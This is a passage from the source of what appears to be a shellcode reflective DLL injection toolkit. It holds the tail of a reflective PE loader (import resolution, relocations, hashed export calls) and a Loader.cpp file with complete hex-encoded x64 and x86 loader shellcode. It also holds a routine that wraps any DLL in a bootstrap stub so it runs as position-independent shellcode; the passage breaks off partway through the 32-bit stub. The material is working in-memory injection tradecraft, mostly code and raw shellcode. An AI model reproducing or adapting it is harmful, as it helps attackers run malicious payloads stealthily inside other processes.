314 | // patch in the address for this imported function
315 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
316 | }
317 | else
318 | {
319 | // get the VA of this functions import by name struct
320 | uiValueB = (uiBaseAddress + DEREF(uiValueA));
321 |
322 | // use GetProcAddress and patch in the address for this imported function
323 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
324 | }
325 |
326 | // get the next imported function
327 | uiValueA += sizeof(ULONG_PTR);
328 | if (uiValueD)
329 | uiValueD += sizeof(ULONG_PTR);
330 | }
331 |
332 | // get the next import
333 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
334 | }
335 |
336 | // uiValueB = the address of the import directory
337 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT];
338 |
339 | if (uiValueB && ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress!=0)
340 | {
341 | // we assume their is an import table to process
342 | // uiValueC is the first entry in the import table
343 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
344 | // itterate through all imports
345 | while (((PIMAGE_DELAYLOAD_DESCRIPTOR)uiValueC)->DllNameRVA)
346 | {
347 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_DELAYLOAD_DESCRIPTOR)uiValueC)->DllNameRVA));
348 |
349 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
350 | uiValueA = (uiBaseAddress + ((PIMAGE_DELAYLOAD_DESCRIPTOR)uiValueC)->ImportNameTableRVA);
351 | uiValueD = (uiBaseAddress + ((PIMAGE_DELAYLOAD_DESCRIPTOR)uiValueC)->ImportAddressTableRVA);
352 |
353 | // itterate through all imported functions, importing by ordinal if no name present
354 | while (DEREF(uiValueA))
355 | {
356 | uiValueB = (uiBaseAddress + DEREF(uiValueA));
357 | DEREF(uiValueD) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name) - uiBaseAddress + 0x00400000;
358 |
359 | // get the next imported function
360 | uiValueA += sizeof(ULONG_PTR);
361 | if (uiValueD)
362 | uiValueD += sizeof(ULONG_PTR);
363 | }
364 |
365 | // get the next delay import
366 | uiValueC += sizeof(IMAGE_DELAYLOAD_DESCRIPTOR);
367 | }
368 | }
369 |
370 | // STEP 5: process all of our images relocations...
371 |
372 | // calculate the base address delta and perform relocations (even if we load at desired image base)
373 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
374 |
375 | // uiValueB = the address of the relocation directory
376 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
377 |
378 | // check if their are any relocations present
379 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
380 | {
381 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
382 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
383 |
384 | // and we itterate through all entries...
385 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
386 | {
387 | // uiValueA = the VA for this relocation block
388 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
389 |
390 | // uiValueB = number of entries in this relocation block
391 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
392 |
393 | // uiValueD is now the first entry in the current relocation block
394 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
395 |
396 | // we itterate through all the entries in the current block...
397 | while (uiValueB--)
398 | {
399 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
400 | // we dont use a switch statement to avoid the compiler building a jump table
401 | // which would not be very position independent!
402 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
403 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
404 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
405 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
406 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
407 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
408 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
409 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
410 |
411 | // get the next entry in the current relocation block
412 | uiValueD += sizeof(IMAGE_RELOC);
413 | }
414 |
415 | // get the next entry in the relocation directory
416 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
417 | }
418 | }
419 |
420 | // STEP 6: call our images entry point
421 |
422 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point
423 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
424 |
425 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
426 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
427 |
428 | // call our respective entry point, fudging our hInstance value
429 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
430 |
431 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, (LPVOID)1);
432 |
433 | if (dwFunctionHash) {
434 |
435 | do
436 | {
437 | directory = &((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
438 | if (directory->Size == 0)
439 | break;
440 |
441 | exports = (PIMAGE_EXPORT_DIRECTORY)(uiBaseAddress + directory->VirtualAddress);
442 | if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0)
443 | break;
444 |
445 | // search function name in list of exported names
446 | idx = -1;
447 | nameRef = (DWORD *)(uiBaseAddress + exports->AddressOfNames);
448 | ordinal = (WORD *)(uiBaseAddress + exports->AddressOfNameOrdinals);
449 | for (nameSearchIndex = 0; nameSearchIndex < exports->NumberOfNames; nameSearchIndex++, nameRef++, ordinal++) {
450 |
451 | pTempChar = (char *)(uiBaseAddress + (*nameRef));
452 | dwCalculatedFunctionHash = 0;
453 |
454 | do
455 | {
456 | dwCalculatedFunctionHash = ROTR32(dwCalculatedFunctionHash, 13);
457 | dwCalculatedFunctionHash += *pTempChar;
458 | pTempChar++;
459 | } while (*(pTempChar - 1) != 0);
460 |
461 | if (dwFunctionHash == dwCalculatedFunctionHash)
462 | {
463 | idx = *ordinal;
464 | break;
465 | }
466 | }
467 | if (idx == -1)
468 | break;
469 |
470 | // AddressOfFunctions contains the RVAs to the "real" functions
471 | f = (EXPORTFUNC)(uiBaseAddress + (*(DWORD *)(uiBaseAddress + exports->AddressOfFunctions + (idx * 4))));
472 | if (!f(lpUserData, nUserdataLen))
473 | break;
474 |
475 | dwExitCode = 0;
476 | } while (0);
477 | }
478 |
479 | return uiBaseAddress; //Atempt to return a handle to the module
480 | }
--------------------------------------------------------------------------------
/Native/Loader.cpp:
--------------------------------------------------------------------------------
1 | // RDIShellcodeCLoader.cpp : Defines the entry point for the console application.
2 | //
3 |
4 | #include "stdafx.h"
5 | #include
6 | #include
7 |
8 | #define DEREF_64( name )*(DWORD64 *)(name)
9 | #define DEREF_32( name )*(DWORD *)(name)
10 | #define DEREF_16( name )*(WORD *)(name)
11 | #define DEREF_8( name )*(BYTE *)(name)
12 | #define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
13 |
14 | FARPROC GetProcAddressR(UINT_PTR uiLibraryAddress, LPCSTR lpProcName)
15 | {
16 | FARPROC fpResult = NULL;
17 |
18 | if (uiLibraryAddress == NULL)
19 | return NULL;
20 |
21 | UINT_PTR uiAddressArray = 0;
22 | UINT_PTR uiNameArray = 0;
23 | UINT_PTR uiNameOrdinals = 0;
24 | PIMAGE_NT_HEADERS pNtHeaders = NULL;
25 | PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
26 | PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
27 |
28 | // get the VA of the modules NT Header
29 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
30 |
31 | pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
32 |
33 | // get the VA of the export directory
34 | pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
35 |
36 | // get the VA for the array of addresses
37 | uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
38 |
39 | // get the VA for the array of name pointers
40 | uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
41 |
42 | // get the VA for the array of name ordinals
43 | uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);
44 |
45 | // test if we are importing by name or by ordinal...
46 | if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
47 | {
48 | // import by ordinal...
49 |
50 | // use the import ordinal (- export ordinal base) as an index into the array of addresses
51 | uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
52 |
53 | // resolve the address for this imported function
54 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
55 | }
56 | else
57 | {
58 | // import by name...
59 | DWORD dwCounter = pExportDirectory->NumberOfNames;
60 | while (dwCounter--)
61 | {
62 | char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32(uiNameArray));
63 |
64 | // test if we have a match...
65 | if (strcmp(cpExportedFunctionName, lpProcName) == 0)
66 | {
67 | // use the functions name ordinal as an index into the array of name pointers
68 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
69 |
70 | // calculate the virtual address for the function
71 | fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
72 |
73 | // finish...
74 | break;
75 | }
76 |
77 | // get the next exported function name
78 | uiNameArray += sizeof(DWORD);
79 |
80 | // get the next exported function name ordinal
81 | uiNameOrdinals += sizeof(WORD);
82 | }
83 | }
84 |
85 | return fpResult;
86 | }
87 |
88 | BOOL Is64BitDLL(UINT_PTR uiLibraryAddress)
89 | {
90 | PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
91 |
92 | if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) return true;
93 | else return false;
94 | }
95 |
96 | DWORD GetFileContents(LPCSTR filename, LPSTR *data, DWORD &size)
97 | {
98 | std::FILE *fp = std::fopen(filename, "rb");
99 |
100 | if (fp)
101 | {
102 | fseek(fp, 0, SEEK_END);
103 | size = ftell(fp);
104 | fseek(fp, 0, SEEK_SET);
105 |
106 | *data = (LPSTR)malloc(size + 1);
107 | fread(*data, size, 1, fp);
108 | fclose(fp);
109 | return true;
110 | }
111 | return false;
112 | }
113 |
114 | DWORD HashFunctionName(LPSTR name) {
115 | DWORD hash = 0;
116 |
117 | do
118 | {
119 | hash = ROTR32(hash, 13);
120 | hash += *name;
121 | name++;
122 | } while (*(name - 1) != 0);
123 |
124 | return hash;
125 | }
126 |
127 | BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength, LPSTR &outBytes, DWORD &outLength)
128 | {
129 |
130 | LPSTR rdiShellcode = NULL;
131 | DWORD rdiShellcodeLength, dllLocation, userDataLocation;
132 |
133 | #ifdef _DEBUG
134 | LPSTR rdiShellcode64 = NULL, rdiShellcode32 = NULL;
135 | DWORD rdiShellcode64Length = 0, rdiShellcode32Length = 0;
136 | GetFileContents("ShellcodeRDI_x64.bin", &rdiShellcode64, rdiShellcode64Length);
137 | GetFileContents("ShellcodeRDI_x86.bin", &rdiShellcode32, rdiShellcode32Length);
138 |
139 | #else
140 | LPSTR rdiShellcode64 = "\xe9\x1b\x04\x00\x00\xcc\xcc\xcc\x48\x89\x5c\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xec\x10\x65\x48\x8b\x04\x25\x60\x00\x00\x00\x8b\xf1\x48\x8b\x50\x18\x4c\x8b\x4a\x10\x4d\x8b\x41\x30\x4d\x85\xc0\x0f\x84\xb4\x00\x00\x00\x41\x0f\x10\x41\x58\x49\x63\x40\x3c\x33\xd2\x4d\x8b\x09\xf3\x0f\x7f\x04\x24\x42\x8b\x9c\x00\x88\x00\x00\x00\x85\xdb\x74\xd4\x48\x8b\x04\x24\x48\xc1\xe8\x10\x44\x0f\xb7\xd0\x45\x85\xd2\x74\x21\x48\x8b\x4c\x24\x08\x45\x8b\xda\x0f\xbe\x01\xc1\xca\x0d\x80\x39\x61\x7c\x03\x83\xc2\xe0\x03\xd0\x48\xff\xc1\x49\x83\xeb\x01\x75\xe7\x4d\x8d\x14\x18\x33\xc9\x41\x8b\x7a\x20\x49\x03\xf8\x41\x39\x4a\x18\x76\x8f\x8b\x1f\x45\x33\xdb\x49\x03\xd8\x48\x8d\x7f\x04\x0f\xbe\x03\x48\xff\xc3\x41\xc1\xcb\x0d\x44\x03\xd8\x80\x7b\xff\x00\x75\xed\x41\x8d\x04\x13\x3b\xc6\x74\x0d\xff\xc1\x41\x3b\x4a\x18\x72\xd1\xe9\x5b\xff\xff\xff\x41\x8b\x42\x24\x03\xc9\x49\x03\xc0\x0f\xb7\x14\x01\x41\x8b\x4a\x1c\x49\x03\xc8\x8b\x04\x91\x49\x03\xc0\xeb\x02\x33\xc0\x48\x8b\x5c\x24\x20\x48\x8b\x74\x24\x28\x48\x83\xc4\x10\x5f\xc3\xcc\xcc\xcc\x44\x89\x4c\x24\x20\x4c\x89\x44\x24\x18\x89\x54\x24\x10\x53\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x83\xec\x38\x48\x8b\xe9\x45\x8b\xe1\xb9\x4c\x77\x26\x07\x44\x8b\xf2\xe8\xd7\xfe\xff\xff\xb9\x49\xf7\x02\x78\x4c\x8b\xe8\xe8\xca\xfe\xff\xff\xb9\x58\xa4\x53\xe5\x48\x89\x84\x24\x80\x00\x00\x00\xe8\xb8\xfe\xff\xff\xb9\xaf\xb1\x5c\x94\x48\x8b\xd8\xe8\xab\xfe\xff\xff\x48\x63\x75\x3c\x33\xc9\x48\x03\xf5\x48\x89\x44\x24\x20\x41\xb8\x00\x30\x00\x00\x4c\x8b\xf8\x44\x8d\x49\x40\x8b\x56\x50\xff\xd3\x44\x8b\x46\x54\x48\x8b\xf8\x48\x8b\xcd\x41\xbb\x01\x00\x00\x00\x4d\x85\xc0\x74\x13\x48\x8b\xd0\x48\x2b\xd5\x8a\x01\x88\x04\x0a\x49\x03\xcb\x4d\x2b\xc3\x75\xf3\x44\x0f\xb7\x4e\x06\x0f\xb7\x46\x14\x4d\x85\xc9\x74\x38\x48\x8d\x4e\x2c\x48\x03\xc8\x8b\x51\xf8\x4d\x2b\xcb\x44\x8b\x01\x48\x03\xd7\x44\x8b\x51\xfc\x4c\x03\xc5\x4d\x85\xd2\x74\x10\x41\x8a\x00\x4d\x03\xc3\x88\x02\x49\x03\xd3\x4d\x2b\xd3\x75\xf0\x48\x83\xc1\x28\x4d\x85\xc9\x75\xcf\x8b\x9e\x90\x00\x00\x00\x48\x03\xdf\x8b\x43\x0c\x85\xc0\x0f\x84\x91\x00\x00\x00\x48\x8b\xac\x24\x80\x00\x00\x00\x8b\xc8\x48\x03\xcf\x41\xff\xd5\x44\x8b\x3b\x4c\x8b\xe0\x44\x8b\x73\x10\x4c\x03\xff\x4c\x03\xf7\xeb\x49\x49\x83\x3f\x00\x7d\x29\x49\x63\x44\x24\x3c\x41\x0f\xb7\x17\x42\x8b\x8c\x20\x88\x00\x00\x00\x42\x8b\x44\x21\x10\x42\x8b\x4c\x21\x1c\x48\x2b\xd0\x49\x03\xcc\x8b\x04\x91\x49\x03\xc4\xeb\x0f\x49\x8b\x16\x49\x8b\xcc\x48\x83\xc2\x02\x48\x03\xd7\xff\xd5\x49\x89\x06\x49\x83\xc6\x08\x49\x83\xc7\x08\x49\x83\x3e\x00\x75\xb1\x8b\x43\x20\x48\x83\xc3\x14\x85\xc0\x75\x8c\x44\x8b\xb4\x24\x88\x00\x00\x00\x4c\x8b\x7c\x24\x20\x44\x8b\xa4\x24\x98\x00\x00\x00\x4c\x8b\xd7\x41\xbd\x02\x00\x00\x00\x4c\x2b\x56\x30\x83\xbe\xb4\x00\x00\x00\x00\x41\x8d\x6d\xff\x0f\x84\x97\x00\x00\x00\x44\x8b\x86\xb0\x00\x00\x00\x4c\x03\xc7\x41\x8b\x40\x04\x85\xc0\x0f\x84\x81\x00\x00\x00\xbb\xff\x0f\x00\x00\x41\x8b\x10\x4d\x8d\x58\x08\x44\x8b\xc8\x48\x03\xd7\x49\x83\xe9\x08\x49\xd1\xe9\x74\x57\x41\x0f\xb7\x0b\x4c\x2b\xcd\x0f\xb7\xc1\x66\xc1\xe8\x0c\x66\x83\xf8\x0a\x75\x09\x48\x23\xcb\x4c\x01\x14\x11\xeb\x32\x66\x83\xf8\x03\x75\x09\x48\x23\xcb\x44\x01\x14\x11\xeb\x23\x66\x3b\xc5\x75\x10\x48\x23\xcb\x49\x8b\xc2\x48\xc1\xe8\x10\x66\x01\x04\x11\xeb\x0e\x66\x41\x3b\xc5\x75\x08\x48\x23\xcb\x66\x44\x01\x14\x11\x4d\x03\xdd\x4d\x85\xc9\x75\xa9\x41\x8b\x40\x04\x4c\x03\xc0\x41\x8b\x40\x04\x85\xc0\x75\x84\x8b\x5e\x28\x45\x33\xc0\x33\xd2\x48\x83\xc9\xff\x48\x03\xdf\x41\xff\xd7\x4c\x8b\xc5\x8b\xd5\x48\x8b\xcf\xff\xd3\x45\x85\xf6\x0f\x84\x93\x00\x00\x00\x83\xbe\x8c\x00\x00\x00\x00\x0f\x84\x86\x00\x00\x00\x8b\x96\x88\x00\x00\x00\x48\x03\xd7\x44\x8b\x5a\x18\x45\x85\xdb\x74\x74\x83\x7a\x14\x00\x74\x6e\x44\x8b\x52\x20\x33\xdb\x44\x8b\x4a\x24\x4c\x03\xd7\x4c\x03\xcf\x45\x85\xdb\x74\x59\x45\x8b\x02\x4c\x03\xc7\x33\xc9\x41\x0f\xbe\x00\x4c\x03\xc5\xc1\xc9\x0d\x03\xc8\x41\x80\x78\xff\x00\x75\xed\x44\x3b\xf1\x74\x10\x03\xdd\x49\x83\xc2\x04\x4d\x03\xcd\x41\x3b\xdb\x72\xd2\xeb\x29\x41\x0f\xb7\x01\x83\xf8\xff\x74\x20\x8b\x52\x1c\x48\x8b\x8c\x24\x90\x00\x00\x00\xc1\xe0\x02\x48\x98\x48\x03\xc7\x44\x8b\x04\x02\x41\x8b\xd4\x4c\x03\xc7\x41\xff\xd0\x48\x8b\xc7\x48\x83\xc4\x38\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5f\x5e\x5d\x5b\xc3\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\x56\x48\x8b\xf4\x48\x83\xe4\xf0\x48\x83\xec\x20\xe8\xcf\xfc\xff\xff\x48\x8b\xe6\x5e\xc3";
141 | LPSTR rdiShellcode32 = "\x83\xec\x18\x53\x55\x56\x57\xb9\x4c\x77\x26\x07\xe8\x9d\x02\x00\x00\xb9\x49\xf7\x02\x78\x89\x44\x24\x18\xe8\x8f\x02\x00\x00\xb9\x58\xa4\x53\xe5\x89\x44\x24\x1c\xe8\x81\x02\x00\x00\xb9\xaf\xb1\x5c\x94\x8b\xf0\xe8\x75\x02\x00\x00\x8b\x6c\x24\x2c\x6a\x40\x68\x00\x30\x00\x00\x89\x44\x24\x2c\x8b\x5d\x3c\x03\xdd\x89\x5c\x24\x18\xff\x73\x50\x6a\x00\xff\xd6\x8b\x73\x54\x8b\xf8\x89\x7c\x24\x20\x8b\xd5\x85\xf6\x74\x0f\x8b\xcf\x2b\xcd\x8a\x02\x88\x04\x11\x42\x83\xee\x01\x75\xf5\x0f\xb7\x6b\x06\x0f\xb7\x43\x14\x85\xed\x74\x34\x8d\x4b\x2c\x03\xc8\x8b\x44\x24\x2c\x8b\x51\xf8\x4d\x8b\x31\x03\xd7\x8b\x59\xfc\x03\xf0\x85\xdb\x74\x0f\x8a\x06\x88\x02\x42\x46\x83\xeb\x01\x75\xf5\x8b\x44\x24\x2c\x83\xc1\x28\x85\xed\x75\xd9\x8b\x5c\x24\x10\x8b\xb3\x80\x00\x00\x00\x03\xf7\x89\x74\x24\x14\x8b\x46\x0c\x85\xc0\x74\x7d\x03\xc7\x50\xff\x54\x24\x1c\x8b\x6e\x10\x8b\xd8\x8b\x06\x03\xef\x03\xc7\x89\x44\x24\x2c\x83\x7d\x00\x00\x74\x4f\x8b\x74\x24\x1c\x8b\x08\x85\xc9\x74\x1e\x79\x1c\x8b\x43\x3c\x0f\xb7\xc9\x8b\x44\x18\x78\x2b\x4c\x18\x10\x8b\x44\x18\x1c\x8d\x04\x88\x8b\x04\x18\x03\xc3\xeb\x0c\x8b\x45\x00\x83\xc0\x02\x03\xc7\x50\x53\xff\xd6\x89\x45\x00\x83\xc5\x04\x8b\x44\x24\x2c\x83\xc0\x04\x89\x44\x24\x2c\x83\x7d\x00\x00\x75\xb9\x8b\x74\x24\x14\x8b\x46\x20\x83\xc6\x14\x89\x74\x24\x14\x85\xc0\x75\x87\x8b\x5c\x24\x10\x8b\xef\xc7\x44\x24\x18\x01\x00\x00\x00\x2b\x6b\x34\x83\xbb\xa4\x00\x00\x00\x00\x0f\x84\xaa\x00\x00\x00\x8b\x93\xa0\x00\x00\x00\x03\xd7\x89\x54\x24\x2c\x8d\x4a\x04\x8b\x01\x89\x4c\x24\x14\x85\xc0\x0f\x84\x8d\x00\x00\x00\x8b\x32\x8d\x58\xf8\x03\xf7\x8d\x42\x08\xd1\xeb\x89\x44\x24\x1c\x74\x60\x6a\x02\x8b\xf8\x5a\x0f\xb7\x0f\x4b\x66\x8b\xc1\x66\xc1\xe8\x0c\x66\x83\xf8\x0a\x74\x06\x66\x83\xf8\x03\x75\x0b\x81\xe1\xff\x0f\x00\x00\x01\x2c\x31\xeb\x27\x66\x3b\x44\x24\x18\x75\x11\x81\xe1\xff\x0f\x00\x00\x8b\xc5\xc1\xe8\x10\x66\x01\x04\x31\xeb\x0f\x66\x3b\xc2\x75\x0a\x81\xe1\xff\x0f\x00\x00\x66\x01\x2c\x31\x03\xfa\x85\xdb\x75\xb1\x8b\x7c\x24\x20\x8b\x54\x24\x2c\x8b\x4c\x24\x14\x03\x11\x89\x54\x24\x2c\x8d\x4a\x04\x8b\x01\x89\x4c\x24\x14\x85\xc0\x0f\x85\x77\xff\xff\xff\x8b\x5c\x24\x10\x8b\x73\x28\x6a\x00\x6a\x00\x6a\xff\x03\xf7\xff\x54\x24\x30\x33\xc0\x40\x50\x50\x57\xff\xd6\x83\x7c\x24\x30\x00\x74\x7c\x83\x7b\x7c\x00\x74\x76\x8b\x4b\x78\x03\xcf\x8b\x41\x18\x85\xc0\x74\x6a\x83\x79\x14\x00\x74\x64\x8b\x69\x20\x8b\x71\x24\x03\xef\x83\x64\x24\x2c\x00\x03\xf7\x85\xc0\x74\x51\x8b\x5d\x00\x03\xdf\x33\xd2\x0f\xbe\x03\xc1\xca\x0d\x03\xd0\x43\x80\x7b\xff\x00\x75\xf1\x39\x54\x24\x30\x74\x16\x8b\x44\x24\x2c\x83\xc5\x04\x40\x83\xc6\x02\x89\x44\x24\x2c\x3b\x41\x18\x72\xd0\xeb\x1f\x0f\xb7\x16\x83\xfa\xff\x74\x17\x8b\x41\x1c\xff\x74\x24\x38\xff\x74\x24\x38\x8d\x04\x90\x8b\x04\x38\x03\xc7\xff\xd0\x59\x59\x8b\xc7\x5f\x5e\x5d\x5b\x83\xc4\x18\xc3\x83\xec\x10\x64\xa1\x30\x00\x00\x00\x53\x55\x56\x8b\x40\x0c\x57\x89\x4c\x24\x18\x8b\x70\x0c\xe9\x8a\x00\x00\x00\x8b\x46\x30\x33\xc9\x8b\x5e\x2c\x8b\x36\x89\x44\x24\x14\x8b\x42\x3c\x8b\x6c\x10\x78\x89\x6c\x24\x10\x85\xed\x74\x6d\xc1\xeb\x10\x33\xff\x85\xdb\x74\x1f\x8b\x6c\x24\x14\x8a\x04\x2f\xc1\xc9\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xc1\xe0\x03\xc8\x47\x3b\xfb\x72\xe9\x8b\x6c\x24\x10\x8b\x44\x2a\x20\x33\xdb\x8b\x7c\x2a\x18\x03\xc2\x89\x7c\x24\x14\x85\xff\x74\x31\x8b\x28\x33\xff\x03\xea\x83\xc0\x04\x89\x44\x24\x1c\x0f\xbe\x45\x00\xc1\xcf\x0d\x03\xf8\x45\x80\x7d\xff\x00\x75\xf0\x8d\x04\x0f\x3b\x44\x24\x18\x74\x20\x8b\x44\x24\x1c\x43\x3b\x5c\x24\x14\x72\xcf\x8b\x56\x18\x85\xd2\x0f\x85\x6b\xff\xff\xff\x33\xc0\x5f\x5e\x5d\x5b\x83\xc4\x10\xc3\x8b\x74\x24\x10\x8b\x44\x16\x24\x8d\x04\x58\x0f\xb7\x0c\x10\x8b\x44\x16\x1c\x8d\x04\x88\x8b\x04\x10\x03\xc2\xeb\xdb";
142 |
143 | DWORD rdiShellcode64Length = 1087, rdiShellcode32Length = 828;
144 | #endif
145 |
146 | if (Is64BitDLL((UINT_PTR)inBytes))
147 | {
148 |
149 | rdiShellcode = rdiShellcode64;
150 | rdiShellcodeLength = rdiShellcode64Length;
151 |
152 | if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0;
153 |
154 | BYTE bootstrap[34] = { 0 };
155 | DWORD i = 0;
156 |
157 | // call next instruction (Pushes next instruction address to stack)
158 | bootstrap[i++] = 0xe8;
159 | bootstrap[i++] = 0x00;
160 | bootstrap[i++] = 0x00;
161 | bootstrap[i++] = 0x00;
162 | bootstrap[i++] = 0x00;
163 |
164 | //Here is where the we pop the address of our next instruction off the stack and into the first register
165 | // pop rcx
166 | bootstrap[i++] = 0x59;
167 |
168 | // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
169 | bootstrap[i++] = 0x49;
170 | bootstrap[i++] = 0x89;
171 | bootstrap[i++] = 0xc8;
172 |
173 | // Setup the location of the DLL into RCX
174 | // add rcx, 29 (Size of bootstrap from pop) +
175 | bootstrap[i++] = 0x48;
176 | bootstrap[i++] = 0x81;
177 | bootstrap[i++] = 0xc1;
178 | dllLocation = sizeof(bootstrap) - 5 + rdiShellcodeLength;
179 | MoveMemory(bootstrap + i, &dllLocation, sizeof(dllLocation));
180 | i += sizeof(dllLocation);
181 |
182 | // mov edx,
183 | bootstrap[i++] = 0xba;
184 | MoveMemory(bootstrap + i, &userFunction, sizeof(userFunction));
185 | i += sizeof(userFunction);
186 |
187 | // Setup the location of our user data
188 | // add r8, (Size of bootstrap) + +
189 | bootstrap[i++] = 0x49;
190 | bootstrap[i++] = 0x81;
191 | bootstrap[i++] = 0xc0;
192 | userDataLocation = sizeof(bootstrap) - 5 + rdiShellcodeLength + length;
193 | MoveMemory(bootstrap + i, &userDataLocation, sizeof(userDataLocation));
194 | i += sizeof(userDataLocation);
195 |
196 | // mov r9d,
197 | bootstrap[i++] = 0x41;
198 | bootstrap[i++] = 0xb9;
199 | MoveMemory(bootstrap + i, &userLength, sizeof(userLength));
200 | i += sizeof(userLength);
201 |
202 | // Ends up looking like this in memory:
203 | // Bootstrap shellcode
204 | // RDI shellcode
205 | // DLL bytes
206 | // User data
207 | outLength = length + userLength + rdiShellcodeLength + sizeof(bootstrap);
208 | outBytes = (LPSTR)malloc(outLength);
209 | MoveMemory(outBytes, bootstrap, sizeof(bootstrap));
210 | MoveMemory(outBytes + sizeof(bootstrap), rdiShellcode, rdiShellcodeLength);
211 | MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength, inBytes, length);
212 | MoveMemory(outBytes + sizeof(bootstrap) + rdiShellcodeLength + length, userData, userLength);
213 |
214 | }
215 | else { // 32 bit
216 |
217 | rdiShellcode = rdiShellcode32;
218 | rdiShellcodeLength = rdiShellcode32Length;
219 |
220 | if (rdiShellcode == NULL || rdiShellcodeLength == 0) return 0;
221 |
222 | BYTE bootstrap[40] = { 0 };
223 | DWORD i = 0;
224 |
225 | // call next instruction (Pushes next instruction address to stack)
226 | bootstrap[i++] = 0xe8;
227 | bootstrap[i++] = 0x00;
228 | bootstrap[i++] = 0x00;
229 | bootstrap[i++] = 0x00;
230 | bootstrap[i++] = 0x00;
231 |
232 | //Here is where the we pop the address of our next instruction off the stack and into the first register
233 | // pop eax
234 | bootstrap[i++] = 0x58;
235 |
